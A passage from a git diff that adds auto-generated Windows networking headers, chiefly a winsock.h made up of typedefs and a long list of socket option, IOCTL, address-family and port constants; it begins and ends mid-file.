unsigned int dwHostNameLength; + unsigned short nPort; + void* lpszUserName; + unsigned int dwUserNameLength; + void* lpszPassword; + unsigned int dwPasswordLength; + void* lpszUrlPath; + unsigned int dwUrlPathLength; + void* lpszExtraInfo; + unsigned int dwExtraInfoLength; +} URL_COMPONENTSW; + +typedef struct _APP_CACHE_GROUP_LIST { + unsigned int dwAppCacheGroupCount; + void* pAppCacheGroups; +} APP_CACHE_GROUP_LIST; + +typedef struct _INTERNET_PER_CONN_OPTION_LISTA { + unsigned int dwSize; + void* pszConnection; + unsigned int dwOptionCount; + unsigned int dwOptionError; + void* pOptions; +} INTERNET_PER_CONN_OPTION_LISTA; + diff --git a/stdlib/win32/winsock.h b/stdlib/win32/winsock.h new file mode 100644 index 0000000..d5ace8b --- /dev/null +++ b/stdlib/win32/winsock.h @@ -0,0 +1,3673 @@ +// Generated by entc-win32gen from `Windows.Win32.Networking.WinSock`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define SIO_RCVALL 0x98000001 +#define SIO_RCVALL_MCAST 0x98000002 +#define SIO_RCVALL_IGMPMCAST 0x98000003 +#define SIO_KEEPALIVE_VALS 0x98000004 +#define SIO_ABSORB_RTRALERT 0x98000005 +#define SIO_UCAST_IF 0x98000006 +#define SIO_LIMIT_BROADCASTS 0x98000007 +#define SIO_INDEX_BIND 0x98000008 +#define SIO_INDEX_MCASTIF 0x98000009 +#define SIO_INDEX_ADD_MCAST 0x9800000a +#define SIO_INDEX_DEL_MCAST 0x9800000b +#define SIO_RCVALL_MCAST_IF 0x9800000d +#define SIO_RCVALL_IF 0x9800000e +#define SIO_LOOPBACK_FAST_PATH 0x98000010 +#define SIO_TCP_INITIAL_RTO 0x98000011 +#define SIO_APPLY_TRANSPORT_SETTING 0x98000013 +#define SIO_QUERY_TRANSPORT_SETTING 0x98000014 +#define SIO_TCP_SET_ICW 0x98000016 +#define SIO_TCP_SET_ACK_FREQUENCY 0x98000017 +#define SIO_SET_PRIORITY_HINT 0x98000018 +#define SIO_PRIORITY_HINT 0x98000018 +#define SIO_TCP_INFO 0xd8000027 +#define SIO_CPU_AFFINITY 0x98000015 +#define SIO_TIMESTAMPING 0x980000eb +#define TIMESTAMPING_FLAG_RX 0x1 +#define TIMESTAMPING_FLAG_TX 0x2 +#define SO_TIMESTAMP 0x300a +#define SO_TIMESTAMP_ID 0x300b +#define SIO_GET_TX_TIMESTAMP 0x980000ea +#define TCP_INITIAL_RTO_UNSPECIFIED_MAX_SYN_RETRANSMISSIONS 0xffff +#define TCP_INITIAL_RTO_DEFAULT_RTT 0x0 +#define TCP_INITIAL_RTO_DEFAULT_MAX_SYN_RETRANSMISSIONS 0x0 +#define TCP_INITIAL_RTO_NO_SYN_RETRANSMISSIONS 0xfffe +#define SIO_ACQUIRE_PORT_RESERVATION 0x98000064 +#define SIO_RELEASE_PORT_RESERVATION 0x98000065 +#define SIO_ASSOCIATE_PORT_RESERVATION 0x98000066 +#define SIO_SET_SECURITY 0x980000c8 +#define SIO_QUERY_SECURITY 0xd80000c9 +#define SIO_SET_PEER_TARGET_NAME 0x980000ca +#define SIO_DELETE_PEER_TARGET_NAME 0x980000cb +#define SIO_QUERY_WFP_CONNECTION_REDIRECT_RECORDS 0x980000dc +#define SIO_QUERY_WFP_CONNECTION_REDIRECT_CONTEXT 0x980000dd +#define SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS 0x980000de +#define SIO_SOCKET_USAGE_NOTIFICATION 0x980000cc +#define SOCKET_SETTINGS_GUARANTEE_ENCRYPTION 0x1 +#define SOCKET_SETTINGS_ALLOW_INSECURE 0x2 +#define SOCKET_SETTINGS_IPSEC_SKIP_FILTER_INSTANTIATION 0x1 +#define SOCKET_SETTINGS_IPSEC_OPTIONAL_PEER_NAME_VERIFICATION 0x2 +#define SOCKET_SETTINGS_IPSEC_ALLOW_FIRST_INBOUND_PKT_UNENCRYPTED 0x4 +#define SOCKET_SETTINGS_IPSEC_PEER_NAME_IS_RAW_FORMAT 0x8 +#define SOCKET_QUERY_IPSEC2_ABORT_CONNECTION_ON_FIELD_CHANGE 0x1 +#define SOCKET_QUERY_IPSEC2_FIELD_MASK_MM_SA_ID 0x1 +#define SOCKET_QUERY_IPSEC2_FIELD_MASK_QM_SA_ID 0x2 +#define SOCKET_INFO_CONNECTION_SECURED 0x1 +#define SOCKET_INFO_CONNECTION_ENCRYPTED 0x2 +#define SOCKET_INFO_CONNECTION_IMPERSONATED 0x4 +#define SIO_QUERY_WFP_ALE_ENDPOINT_HANDLE 0x580000cd +#define SIO_QUERY_RSS_SCALABILITY_INFO 0x580000d2 +#define IN4ADDR_ANY 0x0 +#define IN4ADDR_LOOPBACK 0x100007f +#define IN4ADDR_BROADCAST 0xffffffff +#define IN4ADDR_LOOPBACKPREFIX_LENGTH 0x8 +#define IN4ADDR_LINKLOCALPREFIX_LENGTH 0x10 +#define IN4ADDR_MULTICASTPREFIX_LENGTH 0x4 +#define SIO_SET_COMPATIBILITY_MODE 0x9800012c +#define RIO_MSG_DONT_NOTIFY 0x1 +#define RIO_MSG_DEFER 0x2 +#define RIO_MSG_WAITALL 0x4 +#define RIO_MSG_COMMIT_ONLY 0x8 +#define RIO_MAX_CQ_SIZE 0x8000000 +#define RIO_CORRUPT_CQ 0xffffffff +#define AF_UNIX 0x1 +#define AF_IMPLINK 0x3 +#define AF_PUP 0x4 +#define AF_CHAOS 0x5 +#define AF_NS 0x6 +#define AF_IPX 0x6 +#define AF_ISO 0x7 +#define AF_OSI 0x7 +#define AF_ECMA 0x8 +#define AF_DATAKIT 0x9 +#define AF_CCITT 0xa +#define AF_SNA 0xb +#define AF_DECnet 0xc +#define AF_DLI 0xd +#define AF_LAT 0xe +#define AF_HYLINK 0xf +#define AF_APPLETALK 0x10 +#define AF_NETBIOS 0x11 +#define AF_VOICEVIEW 0x12 +#define AF_FIREFOX 0x13 +#define AF_UNKNOWN1 0x14 +#define AF_BAN 0x15 +#define AF_ATM 0x16 +#define AF_CLUSTER 0x18 +#define AF_12844 0x19 +#define AF_IRDA 0x1a +#define AF_NETDES 0x1c +#define AF_MAX 0x1d +#define AF_TCNPROCESS 0x1d +#define AF_TCNMESSAGE 0x1e +#define AF_ICLFXBM 0x1f +#define AF_LINK 0x21 +#define AF_HYPERV 0x22 +#define SOL_SOCKET 65535 +#define SOL_IP 0xfffb +#define SOL_IPV6 0xfffa +#define SO_DEBUG 1 +#define SO_ACCEPTCONN 2 +#define SO_REUSEADDR 4 +#define SO_KEEPALIVE 8 +#define SO_DONTROUTE 16 +#define SO_BROADCAST 32 +#define SO_USELOOPBACK 64 +#define SO_LINGER 128 +#define SO_OOBINLINE 256 +#define SO_SNDBUF 4097 +#define SO_RCVBUF 4098 +#define SO_SNDLOWAT 4099 +#define SO_RCVLOWAT 4100 +#define SO_SNDTIMEO 4101 +#define SO_RCVTIMEO 4102 +#define SO_ERROR 4103 +#define SO_TYPE 4104 +#define SO_BSP_STATE 4105 +#define SO_GROUP_ID 8193 +#define SO_GROUP_PRIORITY 8194 +#define SO_MAX_MSG_SIZE 8195 +#define SO_CONDITIONAL_ACCEPT 12290 +#define SO_PAUSE_ACCEPT 0x3003 +#define SO_COMPARTMENT_ID 0x3004 +#define SO_RANDOMIZE_PORT 12293 +#define SO_PORT_SCALABILITY 12294 +#define SO_REUSE_UNICASTPORT 12295 +#define SO_REUSE_MULTICASTPORT 12296 +#define SO_ORIGINAL_DST 0x300f +#define IP6T_SO_ORIGINAL_DST 0x300f +#define SO_RECEIVED_HOPLIMIT 0x3010 +#define SO_RECEIVED_PROCESSOR 0x3011 +#define WSK_SO_BASE 0x4000 +#define TCP_NODELAY 1 +#define _SS_MAXSIZE 0x80 +#define IOC_UNIX 0x0 +#define IOC_WS2 0x8000000 +#define IOC_PROTOCOL 0x10000000 +#define IOC_VENDOR 0x18000000 +#define SIO_ASSOCIATE_HANDLE 0x88000001 +#define SIO_ENABLE_CIRCULAR_QUEUEING 0x28000002 +#define SIO_FIND_ROUTE 0x48000003 +#define SIO_FLUSH 0x28000004 +#define SIO_GET_BROADCAST_ADDRESS 0x48000005 +#define SIO_GET_EXTENSION_FUNCTION_POINTER 0xc8000006 +#define SIO_GET_QOS 0xc8000007 +#define SIO_GET_GROUP_QOS 0xc8000008 +#define SIO_MULTIPOINT_LOOPBACK 0x88000009 +#define SIO_MULTICAST_SCOPE 0x8800000a +#define SIO_SET_QOS 0x8800000b +#define SIO_SET_GROUP_QOS 0x8800000c +#define SIO_TRANSLATE_HANDLE 0xc800000d +#define SIO_ROUTING_INTERFACE_QUERY 0xc8000014 +#define SIO_ROUTING_INTERFACE_CHANGE 0x88000015 +#define SIO_ADDRESS_LIST_QUERY 0x48000016 +#define SIO_ADDRESS_LIST_CHANGE 0x28000017 +#define SIO_QUERY_TARGET_PNP_HANDLE 0x48000018 +#define SIO_QUERY_RSS_PROCESSOR_INFO 0x48000025 +#define SIO_ADDRESS_LIST_SORT 0xc8000019 +#define SIO_RESERVED_1 0x8800001a +#define SIO_RESERVED_2 0x88000021 +#define SIO_GET_MULTIPLE_EXTENSION_FUNCTION_POINTER 0xc8000024 +#define IPPORT_TCPMUX 0x1 +#define IPPORT_ECHO 0x7 +#define IPPORT_DISCARD 0x9 +#define IPPORT_SYSTAT 0xb +#define IPPORT_DAYTIME 0xd +#define IPPORT_NETSTAT 0xf +#define IPPORT_QOTD 0x11 +#define IPPORT_MSP 0x12 +#define IPPORT_CHARGEN 0x13 +#define IPPORT_FTP_DATA 0x14 +#define IPPORT_FTP 0x15 +#define IPPORT_TELNET 0x17 +#define IPPORT_SMTP 0x19 +#define IPPORT_TIMESERVER 0x25 +#define IPPORT_NAMESERVER 0x2a +#define IPPORT_WHOIS 0x2b +#define IPPORT_MTP 0x39 +#define IPPORT_TFTP 0x45 +#define IPPORT_RJE 0x4d +#define IPPORT_FINGER 0x4f +#define IPPORT_TTYLINK 0x57 +#define IPPORT_SUPDUP 0x5f +#define IPPORT_POP3 0x6e +#define IPPORT_NTP 0x7b +#define IPPORT_EPMAP 0x87 +#define IPPORT_NETBIOS_NS 0x89 +#define IPPORT_NETBIOS_DGM 0x8a +#define IPPORT_NETBIOS_SSN 0x8b +#define IPPORT_IMAP 0x8f +#define IPPORT_SNMP 0xa1 +#define IPPORT_SNMP_TRAP 0xa2 +#define IPPORT_IMAP3 0xdc +#define IPPORT_LDAP 0x185 +#define IPPORT_HTTPS 0x1bb +#define IPPORT_MICROSOFT_DS 0x1bd +#define IPPORT_EXECSERVER 0x200 +#define IPPORT_LOGINSERVER 0x201 +#define IPPORT_CMDSERVER 0x202 +#define IPPORT_EFSSERVER 0x208 +#define IPPORT_BIFFUDP 0x200 +#define IPPORT_WHOSERVER 0x201 +#define IPPORT_ROUTESERVER 0x208 +#define IPPORT_RESERVED 0x400 +#define IPPORT_REGISTERED_MIN 0x400 +#define IPPORT_REGISTERED_MAX 0xbfff +#define IPPORT_DYNAMIC_MIN 0xc000 +#define IPPORT_DYNAMIC_MAX 0xffff +#define IN_CLASSA_NET 0xff000000 +#define IN_CLASSA_NSHIFT 0x18 +#define IN_CLASSA_HOST 0xffffff +#define IN_CLASSA_MAX 0x80 +#define IN_CLASSB_NET 0xffff0000 +#define IN_CLASSB_NSHIFT 0x10 +#define IN_CLASSB_HOST 0xffff +#define IN_CLASSB_MAX 0x10000 +#define IN_CLASSC_NET 0xffffff00 +#define IN_CLASSC_NSHIFT 0x8 +#define IN_CLASSC_HOST 0xff +#define IN_CLASSD_NET 0xf0000000 +#define IN_CLASSD_NSHIFT 0x1c +#define IN_CLASSD_HOST 0xfffffff +#define INADDR_LOOPBACK 0x7f000001 +#define INADDR_NONE 0xffffffff +#define IOCPARM_MASK 0x7f +#define IOC_VOID 0x20000000 +#define IOC_OUT 0x40000000 +#define IOC_IN 0x80000000 +#define MSG_TRUNC 0x100 +#define MSG_CTRUNC 0x200 +#define MSG_BCAST 0x400 +#define MSG_MCAST 0x800 +#define MSG_ERRQUEUE 0x1000 +#define AI_PASSIVE 0x1 +#define AI_CANONNAME 0x2 +#define AI_NUMERICHOST 0x4 +#define AI_NUMERICSERV 0x8 +#define AI_DNS_ONLY 0x10 +#define AI_FORCE_CLEAR_TEXT 0x20 +#define AI_BYPASS_DNS_CACHE 0x40 +#define AI_RETURN_TTL 0x80 +#define AI_ALL 0x100 +#define AI_ADDRCONFIG 0x400 +#define AI_V4MAPPED 0x800 +#define AI_NON_AUTHORITATIVE 0x4000 +#define AI_SECURE 0x8000 +#define AI_RETURN_PREFERRED_NAMES 0x10000 +#define AI_FQDN 0x20000 +#define AI_FILESERVER 0x40000 +#define AI_DISABLE_IDN_ENCODING 0x80000 +#define AI_SECURE_WITH_FALLBACK 0x100000 +#define AI_EXCLUSIVE_CUSTOM_SERVERS 0x200000 +#define AI_RETURN_RESPONSE_FLAGS 0x10000000 +#define AI_REQUIRE_SECURE 0x20000000 +#define AI_RESOLUTION_HANDLE 0x40000000 +#define AI_EXTENDED 0x80000000 +#define ADDRINFOEX_VERSION_2 0x2 +#define ADDRINFOEX_VERSION_3 0x3 +#define ADDRINFOEX_VERSION_4 0x4 +#define ADDRINFOEX_VERSION_5 0x5 +#define ADDRINFOEX_VERSION_6 0x6 +#define ADDRINFOEX_VERSION_7 0x7 +#define AI_DNS_SERVER_TYPE_UDP 0x1 +#define AI_DNS_SERVER_TYPE_DOH 0x2 +#define AI_DNS_SERVER_TYPE_DOT 0x3 +#define AI_DNS_SERVER_UDP_FALLBACK 0x1 +#define AI_DNS_RESPONSE_SECURE 0x1 +#define AI_DNS_RESPONSE_HOSTFILE 0x2 +#define AI_EXTRA_DNSSEC_REQUIRED 0x1 +#define NS_ALL 0x0 +#define NS_SAP 0x1 +#define NS_NDS 0x2 +#define NS_PEER_BROWSE 0x3 +#define NS_SLP 0x5 +#define NS_DHCP 0x6 +#define NS_TCPIP_LOCAL 0xa +#define NS_TCPIP_HOSTS 0xb +#define NS_DNS 0xc +#define NS_NETBT 0xd +#define NS_WINS 0xe +#define NS_NLA 0xf +#define NS_NBP 0x14 +#define NS_MS 0x1e +#define NS_STDA 0x1f +#define NS_NTDS 0x20 +#define NS_EMAIL 0x25 +#define NS_X500 0x28 +#define NS_NIS 0x29 +#define NS_NISPLUS 0x2a +#define NS_WRQ 0x32 +#define NS_NETDES 0x3c +#define NI_NOFQDN 0x1 +#define NI_NUMERICHOST 0x2 +#define NI_NAMEREQD 0x4 +#define NI_NUMERICSERV 0x8 +#define NI_DGRAM 0x10 +#define NI_MAXHOST 0x401 +#define NI_MAXSERV 0x20 +#define IFF_UP 0x1 +#define IFF_BROADCAST 0x2 +#define IFF_LOOPBACK 0x4 +#define IFF_POINTTOPOINT 0x8 +#define IFF_MULTICAST 0x10 +#define IP_OPTIONS 1 +#define IP_HDRINCL 2 +#define IP_TOS 3 +#define IP_TTL 4 +#define IP_MULTICAST_IF 9 +#define IP_MULTICAST_TTL 10 +#define IP_MULTICAST_LOOP 11 +#define IP_ADD_MEMBERSHIP 12 +#define IP_DROP_MEMBERSHIP 13 +#define IP_DONTFRAGMENT 14 +#define IP_ADD_SOURCE_MEMBERSHIP 15 +#define IP_DROP_SOURCE_MEMBERSHIP 16 +#define IP_BLOCK_SOURCE 17 +#define IP_UNBLOCK_SOURCE 18 +#define IP_PKTINFO 19 +#define IP_HOPLIMIT 21 +#define IP_RECVTTL 21 +#define IP_RECEIVE_BROADCAST 22 +#define IP_RECVIF 24 +#define IP_RECVDSTADDR 25 +#define IP_IFLIST 28 +#define IP_ADD_IFLIST 29 +#define IP_DEL_IFLIST 30 +#define IP_UNICAST_IF 31 +#define IP_RTHDR 32 +#define IP_GET_IFLIST 33 +#define IP_RECVRTHDR 38 +#define IP_TCLASS 39 +#define IP_RECVTCLASS 40 +#define IP_RECVTOS 40 +#define IP_ORIGINAL_ARRIVAL_IF 47 +#define IP_ECN 50 +#define IP_RECVECN 50 +#define IP_PKTINFO_EX 51 +#define IP_WFP_REDIRECT_RECORDS 60 +#define IP_WFP_REDIRECT_CONTEXT 70 +#define IP_MTU_DISCOVER 71 +#define IP_MTU 73 +#define IP_NRT_INTERFACE 74 +#define IP_RECVERR 75 +#define IP_USER_MTU 76 +#define IP_UNSPECIFIED_TYPE_OF_SERVICE -1 +#define IP_UNSPECIFIED_USER_MTU 0xffffffff +#define IN6ADDR_LINKLOCALPREFIX_LENGTH 0x40 +#define IN6ADDR_MULTICASTPREFIX_LENGTH 0x8 +#define IN6ADDR_SOLICITEDNODEMULTICASTPREFIX_LENGTH 0x68 +#define IN6ADDR_V4MAPPEDPREFIX_LENGTH 0x60 +#define IN6ADDR_6TO4PREFIX_LENGTH 0x10 +#define IN6ADDR_TEREDOPREFIX_LENGTH 0x20 +#define MCAST_JOIN_GROUP 0x29 +#define MCAST_LEAVE_GROUP 0x2a +#define MCAST_BLOCK_SOURCE 0x2b +#define MCAST_UNBLOCK_SOURCE 0x2c +#define MCAST_JOIN_SOURCE_GROUP 0x2d +#define MCAST_LEAVE_SOURCE_GROUP 0x2e +#define IPV6_HOPOPTS 1 +#define IPV6_HDRINCL 2 +#define IPV6_UNICAST_HOPS 4 +#define IPV6_MULTICAST_IF 9 +#define IPV6_MULTICAST_HOPS 10 +#define IPV6_MULTICAST_LOOP 11 +#define IPV6_ADD_MEMBERSHIP 12 +#define IPV6_JOIN_GROUP 12 +#define IPV6_DROP_MEMBERSHIP 13 +#define IPV6_LEAVE_GROUP 13 +#define IPV6_DONTFRAG 14 +#define IPV6_PKTINFO 19 +#define IPV6_HOPLIMIT 21 +#define IPV6_PROTECTION_LEVEL 23 +#define IPV6_RECVIF 24 +#define IPV6_RECVDSTADDR 25 +#define IPV6_CHECKSUM 26 +#define IPV6_V6ONLY 27 +#define IPV6_IFLIST 28 +#define IPV6_ADD_IFLIST 29 +#define IPV6_DEL_IFLIST 30 +#define IPV6_UNICAST_IF 31 +#define IPV6_RTHDR 32 +#define IPV6_GET_IFLIST 33 +#define IPV6_RECVRTHDR 38 +#define IPV6_TCLASS 39 +#define IPV6_RECVTCLASS 40 +#define IPV6_ECN 50 +#define IPV6_RECVECN 50 +#define IPV6_PKTINFO_EX 51 +#define IPV6_WFP_REDIRECT_RECORDS 60 +#define IPV6_WFP_REDIRECT_CONTEXT 70 +#define IPV6_MTU_DISCOVER 71 +#define IPV6_MTU 72 +#define IPV6_NRT_INTERFACE 74 +#define IPV6_RECVERR 75 +#define IPV6_USER_MTU 76 +#define IP_UNSPECIFIED_HOP_LIMIT -1 +#define IP_PROTECTION_LEVEL 23 +#define PROTECTION_LEVEL_UNRESTRICTED 0xa +#define PROTECTION_LEVEL_EDGERESTRICTED 0x14 +#define PROTECTION_LEVEL_RESTRICTED 0x1e +#define PROTECTION_LEVEL_DEFAULT 0x14 +#define INET_ADDRSTRLEN 0x16 +#define INET6_ADDRSTRLEN 0x41 +#define TCP_OFFLOAD_NO_PREFERENCE 0 +#define TCP_OFFLOAD_NOT_PREFERRED 1 +#define TCP_OFFLOAD_PREFERRED 2 +#define TCP_EXPEDITED_1122 2 +#define TCP_KEEPALIVE 3 +#define TCP_MAXSEG 4 +#define TCP_MAXRT 5 +#define TCP_STDURG 6 +#define TCP_NOURG 7 +#define TCP_ATMARK 8 +#define TCP_NOSYNRETRIES 9 +#define TCP_TIMESTAMPS 10 +#define TCP_OFFLOAD_PREFERENCE 11 +#define TCP_CONGESTION_ALGORITHM 12 +#define TCP_DELAY_FIN_ACK 13 +#define TCP_MAXRTMS 14 +#define TCP_FASTOPEN 15 +#define TCP_KEEPCNT 16 +#define TCP_KEEPIDLE 3 +#define TCP_KEEPINTVL 17 +#define TCP_FAIL_CONNECT_ON_ICMP_ERROR 18 +#define TCP_ICMP_ERROR_INFO 19 +#define UDP_SEND_MSG_SIZE 2 +#define UDP_RECV_MAX_COALESCED_SIZE 3 +#define UDP_COALESCED_INFO 0x3 +#define WINDOWS_AF_IRDA 0x1a +#define WINDOWS_PF_IRDA 0x1a +#define WCE_AF_IRDA 0x16 +#define WCE_PF_IRDA 0x16 +#define IRDA_PROTO_SOCK_STREAM 0x1 +#define PF_IRDA 0x1a +#define SOL_IRLMP 255 +#define IRLMP_ENUMDEVICES 16 +#define IRLMP_IAS_SET 17 +#define IRLMP_IAS_QUERY 18 +#define IRLMP_SEND_PDU_LEN 19 +#define IRLMP_EXCLUSIVE_MODE 20 +#define IRLMP_IRLPT_MODE 21 +#define IRLMP_9WIRE_MODE 22 +#define IRLMP_TINYTP_MODE 23 +#define IRLMP_PARAMETERS 24 +#define IRLMP_DISCOVERY_MODE 25 +#define IRLMP_SHARP_MODE 32 +#define IAS_ATTRIB_NO_CLASS 0x10 +#define IAS_ATTRIB_NO_ATTRIB 0x0 +#define IAS_ATTRIB_INT 0x1 +#define IAS_ATTRIB_OCTETSEQ 0x2 +#define IAS_ATTRIB_STR 0x3 +#define IAS_MAX_USER_STRING 0x100 +#define IAS_MAX_OCTET_STRING 0x400 +#define IAS_MAX_CLASSNAME 0x40 +#define IAS_MAX_ATTRIBNAME 0x100 +#define LmCharSetASCII 0x0 +#define LmCharSetISO_8859_1 0x1 +#define LmCharSetISO_8859_2 0x2 +#define LmCharSetISO_8859_3 0x3 +#define LmCharSetISO_8859_4 0x4 +#define LmCharSetISO_8859_5 0x5 +#define LmCharSetISO_8859_6 0x6 +#define LmCharSetISO_8859_7 0x7 +#define LmCharSetISO_8859_8 0x8 +#define LmCharSetISO_8859_9 0x9 +#define LmCharSetUNICODE 0xff +#define LM_BAUD_1200 0x4b0 +#define LM_BAUD_2400 0x960 +#define LM_BAUD_9600 0x2580 +#define LM_BAUD_19200 0x4b00 +#define LM_BAUD_38400 0x9600 +#define LM_BAUD_57600 0xe100 +#define LM_BAUD_115200 0x1c200 +#define LM_BAUD_576K 0x8ca00 +#define LM_BAUD_1152K 0x119400 +#define LM_BAUD_4M 0x3d0900 +#define LM_BAUD_16M 0xf42400 +#define SO_CONNDATA 28672 +#define SO_CONNOPT 28673 +#define SO_DISCDATA 28674 +#define SO_DISCOPT 28675 +#define SO_CONNDATALEN 28676 +#define SO_CONNOPTLEN 28677 +#define SO_DISCDATALEN 28678 +#define SO_DISCOPTLEN 28679 +#define SO_OPENTYPE 28680 +#define SO_SYNCHRONOUS_ALERT 0x10 +#define SO_SYNCHRONOUS_NONALERT 0x20 +#define SO_MAXDG 28681 +#define SO_MAXPATHDG 28682 +#define SO_UPDATE_ACCEPT_CONTEXT 28683 +#define SO_CONNECT_TIME 28684 +#define SO_UPDATE_CONNECT_CONTEXT 28688 +#define TCP_BSDURGENT 28672 +#define SIO_UDP_CONNRESET 0x9800000c +#define SIO_SOCKET_CLOSE_NOTIFY 0x9800000d +#define SIO_UDP_NETRESET 0x9800000f +#define TF_DISCONNECT 0x1 +#define TF_REUSE_SOCKET 0x2 +#define TF_WRITE_BEHIND 0x4 +#define TF_USE_DEFAULT_WORKER 0x0 +#define TF_USE_SYSTEM_THREAD 0x10 +#define TF_USE_KERNEL_APC 0x20 +#define TP_ELEMENT_MEMORY 0x1 +#define TP_ELEMENT_FILE 0x2 +#define TP_ELEMENT_EOP 0x4 +#define TP_DISCONNECT 0x1 +#define TP_REUSE_SOCKET 0x2 +#define TP_USE_DEFAULT_WORKER 0x0 +#define TP_USE_SYSTEM_THREAD 0x10 +#define TP_USE_KERNEL_APC 0x20 +#define DE_REUSE_SOCKET 0x2 +#define NLA_ALLUSERS_NETWORK 0x1 +#define NLA_FRIENDLY_NAME 0x2 +#define SIO_BSP_HANDLE 0x4800001b +#define SIO_BSP_HANDLE_SELECT 0x4800001c +#define SIO_BSP_HANDLE_POLL 0x4800001d +#define SIO_BASE_HANDLE 0x48000022 +#define SIO_EXT_SELECT 0xc800001e +#define SIO_EXT_POLL 0xc800001f +#define SIO_EXT_SENDMSG 0xc8000020 +#define SERVICE_RESOURCE 0x1 +#define SERVICE_SERVICE 0x2 +#define SERVICE_LOCAL 0x4 +#define SERVICE_FLAG_DEFER 0x1 +#define SERVICE_FLAG_HARD 0x2 +#define PROP_COMMENT 0x1 +#define PROP_LOCALE 0x2 +#define PROP_DISPLAY_HINT 0x4 +#define PROP_VERSION 0x8 +#define PROP_START_TIME 0x10 +#define PROP_MACHINE 0x20 +#define PROP_ADDRESSES 0x100 +#define PROP_SD 0x200 +#define PROP_ALL 0x80000000 +#define SERVICE_ADDRESS_FLAG_RPC_CN 0x1 +#define SERVICE_ADDRESS_FLAG_RPC_DG 0x2 +#define SERVICE_ADDRESS_FLAG_RPC_NB 0x4 +#define NS_DEFAULT 0x0 +#define NS_VNS 0x32 +#define NSTYPE_HIERARCHICAL 0x1 +#define NSTYPE_DYNAMIC 0x2 +#define NSTYPE_ENUMERABLE 0x4 +#define NSTYPE_WORKGROUP 0x8 +#define XP_CONNECTIONLESS 0x1 +#define XP_GUARANTEED_DELIVERY 0x2 +#define XP_GUARANTEED_ORDER 0x4 +#define XP_MESSAGE_ORIENTED 0x8 +#define XP_PSEUDO_STREAM 0x10 +#define XP_GRACEFUL_CLOSE 0x20 +#define XP_EXPEDITED_DATA 0x40 +#define XP_CONNECT_DATA 0x80 +#define XP_DISCONNECT_DATA 0x100 +#define XP_SUPPORTS_BROADCAST 0x200 +#define XP_SUPPORTS_MULTICAST 0x400 +#define XP_BANDWIDTH_ALLOCATION 0x800 +#define XP_FRAGMENTATION 0x1000 +#define XP_ENCRYPTS 0x2000 +#define RES_SOFT_SEARCH 0x1 +#define RES_FIND_MULTIPLE 0x2 +#define RES_SERVICE 0x4 +// SKIPPED const SERVICE_TYPE_VALUE_SAPIDA: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_SAPIDW: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_CONNA: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_CONNW: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_TCPPORTA: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_TCPPORTW: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_UDPPORTA: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_UDPPORTW: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_SAPID: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_CONN: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_TCPPORT: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_UDPPORT: non-integer constant +#define SET_SERVICE_PARTIAL_SUCCESS 0x1 +#define FD_SETSIZE 0x40 +#define IMPLINK_IP 0x9b +#define IMPLINK_LOWEXPER 0x9c +#define IMPLINK_HIGHEXPER 0x9e +#define WSADESCRIPTION_LEN 0x100 +#define WSASYS_STATUS_LEN 0x80 +#define IP_DEFAULT_MULTICAST_TTL 0x1 +#define IP_DEFAULT_MULTICAST_LOOP 0x1 +#define IP_MAX_MEMBERSHIPS 0x14 +#define SOCKET_ERROR -1 +#define PF_UNIX 0x1 +#define PF_IMPLINK 0x3 +#define PF_PUP 0x4 +#define PF_CHAOS 0x5 +#define PF_NS 0x6 +#define PF_IPX 0x6 +#define PF_ISO 0x7 +#define PF_OSI 0x7 +#define PF_ECMA 0x8 +#define PF_DATAKIT 0x9 +#define PF_CCITT 0xa +#define PF_SNA 0xb +#define PF_DECnet 0xc +#define PF_DLI 0xd +#define PF_LAT 0xe +#define PF_HYLINK 0xf +#define PF_APPLETALK 0x10 +#define PF_VOICEVIEW 0x12 +#define PF_FIREFOX 0x13 +#define PF_UNKNOWN1 0x14 +#define PF_BAN 0x15 +#define PF_MAX 0x1d +#define SOMAXCONN 0x5 +#define MSG_MAXIOVLEN 0x10 +#define MSG_PARTIAL 0x8000 +#define MAXGETHOSTSTRUCT 0x400 +#define FD_READ 0x1 +#define FD_WRITE 0x2 +#define FD_OOB 0x4 +#define FD_ACCEPT 0x8 +#define FD_CONNECT 0x10 +#define FD_CLOSE 0x20 +#define INCL_WINSOCK_API_PROTOTYPES 0x1 +#define INCL_WINSOCK_API_TYPEDEFS 0x0 +#define ADDR_ANY 0x0 +#define FROM_PROTOCOL_INFO -1 +#define SO_PROTOCOL_INFOA 8196 +#define SO_PROTOCOL_INFOW 8197 +#define SO_PROTOCOL_INFO 8197 +#define PVD_CONFIG 12289 +#define PF_ATM 0x16 +#define MSG_INTERRUPT 0x10 +#define FD_READ_BIT 0x0 +#define FD_WRITE_BIT 0x1 +#define FD_OOB_BIT 0x2 +#define FD_ACCEPT_BIT 0x3 +#define FD_CONNECT_BIT 0x4 +#define FD_CLOSE_BIT 0x5 +#define FD_QOS_BIT 0x6 +#define FD_GROUP_QOS_BIT 0x7 +#define FD_ROUTING_INTERFACE_CHANGE_BIT 0x8 +#define FD_ADDRESS_LIST_CHANGE_BIT 0x9 +#define FD_MAX_EVENTS 0xa +#define WSA_MAXIMUM_WAIT_EVENTS 0x40 +#define WSA_WAIT_FAILED 0xffffffff +#define WSA_WAIT_TIMEOUT 0x102 +#define CF_ACCEPT 0x0 +#define CF_REJECT 0x1 +#define CF_DEFER 0x2 +#define SG_UNCONSTRAINED_GROUP 0x1 +#define SG_CONSTRAINED_GROUP 0x2 +#define MAX_PROTOCOL_CHAIN 0x7 +#define BASE_PROTOCOL 0x1 +#define LAYERED_PROTOCOL 0x0 +#define WSAPROTOCOL_LEN 0xff +#define PFL_MULTIPLE_PROTO_ENTRIES 0x1 +#define PFL_RECOMMENDED_PROTO_ENTRY 0x2 +#define PFL_HIDDEN 